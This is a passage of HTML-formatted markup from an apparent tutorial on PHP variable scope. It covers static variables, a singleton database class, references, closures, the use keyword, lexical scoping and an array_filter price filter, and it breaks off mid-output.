&lt;span class="nf"&gt;showSite&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Output: Welcome to MyApp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;⚠️ Important:&lt;/strong&gt; A better practice than using &lt;code&gt;global&lt;/code&gt; is to pass the variable as a function argument.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; A &lt;strong&gt;notice board in the office foyer&lt;/strong&gt; — everyone &lt;em&gt;can&lt;/em&gt; see it, but you need to tell PHP explicitly to look outside the function's room to read it.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Static Scope: Function Memory with Persistence
&lt;/h3&gt;

&lt;p&gt;Variables declared as &lt;code&gt;static&lt;/code&gt; inside a function are local to that function but &lt;strong&gt;not destroyed&lt;/strong&gt; when the function finishes. They retain their value between subsequent function calls.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Initialized once&lt;/span&gt;
    &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 1&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 2&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  💡 Practical Example: Simple ID Generator
&lt;/h4&gt;

&lt;p&gt;This ensures a unique, sequential ID is generated every time the function is called, without needing a global counter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$current_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Initialized ONLY once&lt;/span&gt;
    &lt;span class="nv"&gt;$current_id&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$current_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"User ID: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nf"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: User ID: 1&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Order ID: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nf"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: Order ID: 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Practical Example: The Singleton Pattern (Database Connection)
&lt;/h4&gt;

&lt;p&gt;The Singleton pattern ensures only one instance of a class (like a database connection) is created, often relying on a static property.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Database&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$instance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Use Static Scope to store and reuse the connection instance&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;Database&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nv"&gt;$instance&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Only create the connection ONCE&lt;/span&gt;
            &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nv"&gt;$instance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;self&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nv"&gt;$instance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Private constructor prevents direct object creation&lt;/span&gt;
    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$db1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Database&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$db2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Database&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 

&lt;span class="c1"&gt;// $db1 and $db2 are the same object, thanks to static scope.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; Essential for tracking state (like a call count or ID generator) without relying on global variables or class properties.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; &lt;strong&gt;Sticky notes that stay on your desk&lt;/strong&gt; after you leave and come back.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. References (&lt;code&gt;&amp;amp;&lt;/code&gt;) — Working on the Original Data
&lt;/h2&gt;

&lt;p&gt;In PHP, most variables are passed by &lt;strong&gt;value&lt;/strong&gt; (a copy is made). References allow you to create a second alias or name for the &lt;em&gt;same&lt;/em&gt; variable content, enabling pass-by-reference.&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Normal Copy (Pass-by-Value)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// $b gets a copy of 10&lt;/span&gt;
&lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Only $b is changed&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: 10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Reference Version (Shared Memory)
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;&amp;amp;&lt;/code&gt; operator means "share the memory address." Both &lt;code&gt;$a&lt;/code&gt; and &lt;code&gt;$b&lt;/code&gt; point to the same data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// $b is now an alias for $a&lt;/span&gt;
&lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Changing $b also changes $a&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: 20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; &lt;strong&gt;Two remote controls for the same TV.&lt;/strong&gt; Pressing a button on either control affects the single TV set.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reference in Functions (Explicit Pass-by-Reference)
&lt;/h3&gt;

&lt;p&gt;By putting &lt;code&gt;&amp;amp;&lt;/code&gt; in the function signature, any changes made to the argument inside the function will affect the original variable passed in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;addOne&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// &amp;amp; here is key&lt;/span&gt;
    &lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;addOne&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: 6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reference in &lt;code&gt;foreach&lt;/code&gt; (The Danger Zone)
&lt;/h3&gt;

&lt;p&gt;Using &lt;code&gt;foreach ($arr as &amp;amp;$v)&lt;/code&gt; makes &lt;code&gt;$v&lt;/code&gt; an alias for the array element. You must break this reference after the loop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$arr&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$v&lt;/span&gt; &lt;span class="o"&gt;*=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// ALWAYS do this to break the reference tie&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Closures — Functions That Remember
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;Closure&lt;/strong&gt; is an anonymous function (a function without a name) that can be stored in a variable, passed as an argument, and, most importantly, &lt;strong&gt;access variables from the scope in which it was created.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Storing an anonymous function in a variable&lt;/span&gt;
&lt;span class="nv"&gt;$greet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;"Hello "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Mamu"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; A &lt;strong&gt;portable microchip&lt;/strong&gt; containing a specific, pre-programmed action that you can carry around and activate anywhere.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. &lt;code&gt;use&lt;/code&gt; — Capturing Variables Inside Closures
&lt;/h2&gt;

&lt;p&gt;An anonymous function cannot access variables from the outer scope by default. The &lt;code&gt;use&lt;/code&gt; keyword allows you to explicitly import these external variables into the closure's definition.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✅ Capturing by Value
&lt;/h3&gt;

&lt;p&gt;The closure captures the &lt;em&gt;value&lt;/em&gt; of &lt;code&gt;$name&lt;/code&gt; at the moment the closure is defined.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Mamu"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$fn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// Capturing $name&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Ali"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// This change happens after the capture&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Output: Mamu (It captured the original "Mamu")&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Capture by Reference with &lt;code&gt;use&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Adding &lt;code&gt;&amp;amp;&lt;/code&gt; to the captured variable makes the closure hold a &lt;strong&gt;reference&lt;/strong&gt; to the external variable. Any change affects the original variable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$fn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// Capturing $count by reference&lt;/span&gt;
    &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Output: 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt; The closure is holding a &lt;strong&gt;live wire&lt;/strong&gt; connected to the original variable, not just a photograph of it.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Lexical Scoping (The Birthplace Rule)
&lt;/h2&gt;

&lt;p&gt;Lexical Scoping means the structure of the code (where it is &lt;strong&gt;written&lt;/strong&gt;) dictates which variables a closure can access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Outside"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Scope A&lt;/span&gt;

&lt;span class="nv"&gt;$fn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// $message is captured from Scope A: "Outside"&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Inside"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Scope B&lt;/span&gt;
    &lt;span class="nv"&gt;$cb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Prints "Outside"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rule to Remember:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Closures use variables from where they were &lt;strong&gt;created&lt;/strong&gt; (lexical scope), not where they are &lt;strong&gt;executed&lt;/strong&gt; (dynamic scope).&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. 💻 Real-World Example: Creating a Dynamic Array Filter
&lt;/h2&gt;

&lt;p&gt;Closures and &lt;code&gt;use&lt;/code&gt; are crucial for functions like &lt;code&gt;array_filter()&lt;/code&gt;, which require a dynamic callback.&lt;/p&gt;

&lt;h3&gt;
  
  
  Filtering Products by a Price Threshold
&lt;/h3&gt;

&lt;p&gt;We define the products and the dynamic price threshold in the outer scope.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$products&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Laptop'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'price'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1200&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Mouse'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'price'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Monitor'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'price'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Keyboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'price'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// The variable we want to capture and use as a dynamic filter condition&lt;/span&gt;
&lt;span class="nv"&gt;$maxPrice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Closure Implementation
&lt;/h3&gt;

&lt;p&gt;The closure uses &lt;code&gt;use ($maxPrice)&lt;/code&gt; to bring the external price threshold into the filtering logic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$affordableProducts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$products&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$product&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$maxPrice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// The closure compares the product's price against the captured $maxPrice&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$product&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'price'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nv"&gt;$maxPrice&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Output
&lt;/h3&gt;

&lt;p&gt;The filter uses the captured value of &lt;code&gt;$maxPrice&lt;/code&gt; (100) successfully:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$affordableProducts&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 

&lt;span class="cm"&gt;/*
Output:
Array
(
